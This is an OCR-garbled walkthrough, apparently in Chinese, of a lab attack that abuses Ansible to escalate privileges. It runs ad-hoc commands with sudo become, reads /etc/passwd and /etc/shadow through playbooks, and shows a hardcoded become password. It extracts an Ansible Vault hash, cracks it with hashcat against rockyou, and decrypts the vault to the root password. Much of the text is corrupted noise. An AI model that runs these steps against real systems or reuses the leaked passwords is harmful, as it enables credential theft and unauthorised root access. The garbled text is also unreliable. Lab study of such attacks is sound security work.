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[T Ansible [T Ansible TTTTTTITTIITITTITTITTIITITT] WebO1 [TTITTTTT]

[T] Ansible [TIT]
(1110 ansible [TITIIIIIIIIIIIIIT ansible[TTIITWebO01 [IT] ansible[]

which ansible



root@web®1:~# which ansible
Jusr/binfansible
root@web®l:-#

[TTITT]
(ITTTITIT] /etc/ansible/hosts TTTTTTITIT]

cat /etc/ansible/hosts

5 cat fetcfansible/fhosts
[ubuntu]
172.16.1.53 ansible user=ansibleadm

[all:vars]
ansible python interpreter=/usr/bin/python3

(TTTwhite-ldiesd O TAFSIHIEH

[T111] Playbooks

Ansible Playbooks [Jopiti/playbooks[TTTTTIITT] Ansible Playbook[]

1s -al /opt/playbooks

total 28

drwxr-xr-x root root

drwxr-xr-x root root

-TW-TwWw-rw- 1 root root 11 12: account monitor.yml

-rw-r--r-- 1 root root . 11 12:47 asroot.yml

-rw-r--r-- 1 root root 11 12: krb_monitor_ become.yml
-rw-r--r-- 1 root root 1: krb_monitor.yml
-fW-r--r-- 1 root root . 1’ message parser.yml

(IIII1D 5 O Playbook[]

[(IT11J Ansible [ITITITIITIT] Ad-hoc [IT1] Playbooks [TTTTTITTIIITITITIIITO Shell (T T
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ansible <[IIIP -a "<[Ip"

[ITT ansible [TTTTTTTT] anhérézied [keys [TTTT1T] root [TENTIIMIME®R$ble [TTTTTTITTITIIIT

root@web01:~# ansible 172.16.1.53 -a "hostname"

root@web®1:~# su ansible

S ansible 172.16.1.53 -a "hostname"
D | rc=0 ==

-a "hostname”

[ root [TTIT]
[HBEome [T sudo [TTITI1]

ansibnle <[I]p -a "<[I[P" --become

ansible 172.16.1.53 -a "whoami"

ansible 172.16.1.53 -a "whoami" --become

[T] playbooks

(0 Ad-hoc [JTITIIITIIIT playbook[TTTTT]

ansible-playbook <playbook [T}

[(Krb_monitor.yml Playbook{JTTTTTTIT]
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$ ansible-playbook krb_monitor.yml

PLAY [@LL] ook sohddbdodeddhhdeddhhododedhddededrdddedrdsbdodedrdb dodedodoh e dededodeodede e dede o ook o de e e de b e de ek s oo dede st s sedede o oo e e e de ek e koo

TASK [Execute 1s -al /tmp | grep krbS] R K IR I I IR AR A A AR AR R A I AR AR R R A A AR R AR R A AR AR AR I AR AR A AR AR AR A AR AR A hh A AR AR A A A AR AR IR AR ARk bk k ko *

TASK [l s se e et e e e et e e e e e e e e e e s e e e s e e e e o e e e o e e e e e e e e e e e e e e e e o e o e e e o e el e e e e e e e o e e e e e e e e

TN e S

unreachable=0 failed=0 skipped=0 rescued=0 ignored=0

0 Playbook [TTT] Linux [TTTTTT] ccache [T
$ cat krb_monitor.yml

- hosts: all
gather_facts: no
tasks:
- name: Execute 1s -al /tmp | grep krbs
shell: 1s -al /tmp | grep krbs
register: output

- debug:
var: output.stdout lines

(AN ST Bl el THRRRI TSR TP ay books TTTTITIIIITIITIIIIT Ansible [ITTITT] root [T

[TT1111] Playbook
T KB hapn 4o blEd o Jy MY PPdR [PIaYPOdKTTIT ] devOl [TTITT11]

$ cat krb_monitor_ become.yml

hosts: all
gather_ facts: no
become: yes
become _method: sudo
become user: dev@l
vars:
ansible become "PasswOrddevol”
tasks:
- name: Execute ls -al /tmp | grep krbs
shell: 1s -al /tmp | grep krbs
register: output

- debug:
var: output.stdout lines
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[TITIITIT1T] Playbook

[0 Playbook [TTTITITTITIT] Playbook [TTT] Shell [TTTThh&issthdie | pans eyl iY3al TTTTTPla Pkeodiook [T
alice [(ITTITITIIIT Playbook [TTTTTTTITIIIIIT

$ cat message_parser.yml

- hosts: all
gather_facts: no
tasks:
- name: Grab messages from chat.js app
shell:
curl -Xx POST -d "TEIR L R PP ISR Aay" -c /tmp/cookies.txt http://172.16.1.12:3000/auth && curl -b /tmp/cookies.txt http://172.16.1
.12:3000/ | grep -Po '(?<=<td class="message"=>).*?(?=</td>)
register: output

$ ansible-playbook message_parser.yml

PLAY [@LL] ke oo shodedeob oo de ok dedeode oo de ot s e de s e oo s oo oo e et e s de e e de s e s s oo et et e e e dede e e e e e

TASK [Grab messages from chat.js app] #*#®d ks hsdhba kb hooddododdooded dordeh dodedddedbddeddsdeddddedhdsdedohddedohdoed doddo dodedeod dodedeb dodede sk dek koo ke ke dok

TASK [debug] ***sssssdibmssdkhdimrsddhddd et dhhdd et hhhd s e dhddd dede sk kR dedr s d bR R de R R AR kAR R A AR AR AT I RS SRR RT IS RTFFFERIRFFF RIS R T TS ®

I e e

unreachable=0 failed=06 skipped=0 rescued=0 ignored=0

[T1] Playbook

(11T Playbagdcount_monitor.yml [TTTT1T]

- $ 1ls -al account _monitor.yml

-

-rW-rw-rw- 1 root root 172 Jun 9 10:38 account monitor.yml

0 Playbook [TTTT] ansibleadm [] Det&/passwd [TT11T]

cat account _monitor.ym

- hosts: all
gather_facts: no
tasks:
- name: Inspect account
shell: cat Jfetc/passwd
register: output

debug:
var: output.stdout lines
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$ ansible-playbook account_monitor.yml

PLAY [a'l_'l_] FHhkhkdrhkhkhkrkdhkhkddhhhkrdhhdrhhkdrhhdrhhkddhddrhhkdddddrhhkdhddrhhkddhhdrhhkddhkddrhkhkddhddrhkhkdkdhkhdrhhkrrhhdhhhhkk

TASK [InSpeCt aCCOUnt] L L e T T R T T
e rM172 16 1 :q]

TASK [debug] L e T

[ITTTTTIIT] Playbook [TT1] Shell [TTTTTTIT] Playbook(TT] ansible [TTTTITTTTTITITIT] Shell (TTITTTTIT] Playbc

[T]1 Ansible Vault [T]T] Playbook

(MIIIIIIIIIIIIIIII Playboo¥a WRIE i ' PIBMAGOKITIIT Vault

S cat asroot.yml

hosts: all

gather facts: no

become: yes

become_user: root

vars:

ansible become pass: !vault |

SANSIBLE VAULT;1.1;AES256
36353633636537363234643934643761613837396635376336613833323437373234616264376432
3564366630323762643234363366323265333866336631630a333731313862613633643061336533
32303030396430393066636237633438623930343833386466323566373264303935313266663966
3431636363333961620a373939633934333231653434323334373533613266643464623833393137
6633

tasks:
- name: Read [etc/shadow
command: cat fetc/shadow
register: shadow contents

- debug:
var: shadow contents.stdout lines

(1T VausANSTBLE] VAULT [TTTTTT1T]
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([ ansible2john [TTTTIT] hashcat [T1111]

ansible.yml
ansible.yml:$ansible$0+0*6563ce7624d94d7aa879f57c6a83247724abd7d25d6F027bd2463F22e38f3F1c*799c94321e44234753a2fd4db83917F3%37118ba63d0a3e320009d090
fcb7c48b9@4838df25f72d09512Ff9f4lccc39ab

[(BEMEIBIETITIT] hashcat [] 16900 [ITITTIT]

5] 16900 vault.txt Desktop/dict/rockyou.txt
hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.@ pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

+ Device #1: pthread-13th Gen Intel(R) Core(TM) i5-134@@F, 1804/3672 MB (512 ME allocatable), 2MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unigue digests, 1 unigue salts
Bitmaps: 16 bits, 65536 entries, @x@@00ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:

* Zero-Byte

* Single-Hash

+ Single-Salt

* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: @ MB

Dictionary cache built:
* Filename..: Desktop/dict/rockyou.txt
Passwords.: 14344391
: 139921497
Keyspace..: 14344384
Runtime ... : 1 sec

*
*
*
*

$ansible$0*0*6563ce7624d94d7aa879f57c6a83247724abd7d25d6f027bd2463f22e38F3f1c*799c94321e44234753a2fd4db83917f3+37118bas3d@a3e320009d0901cb7c48b9048
38df25f72d09512ff9f4lccc3ab : EREITTITIN

Ansible.txt | ansible-vault decrypt[TTTTTT1T] vault [TTTTTTTIT]

36353633636537363234643934643761613837396635376336613833323437373234616264376432
3564366630323762643234363366323265333866336631630a333731313862613633643061336533
32303030396430393066636237633438623930343833386466323566373264303935313266663966
3431636363333961620a373939633934333231653434323334373533613266643464623833393137
6633

2 $ cat ansible.txt | ansible-vault decrypt
Vault password:
Decryption successful
Passw@rdroot
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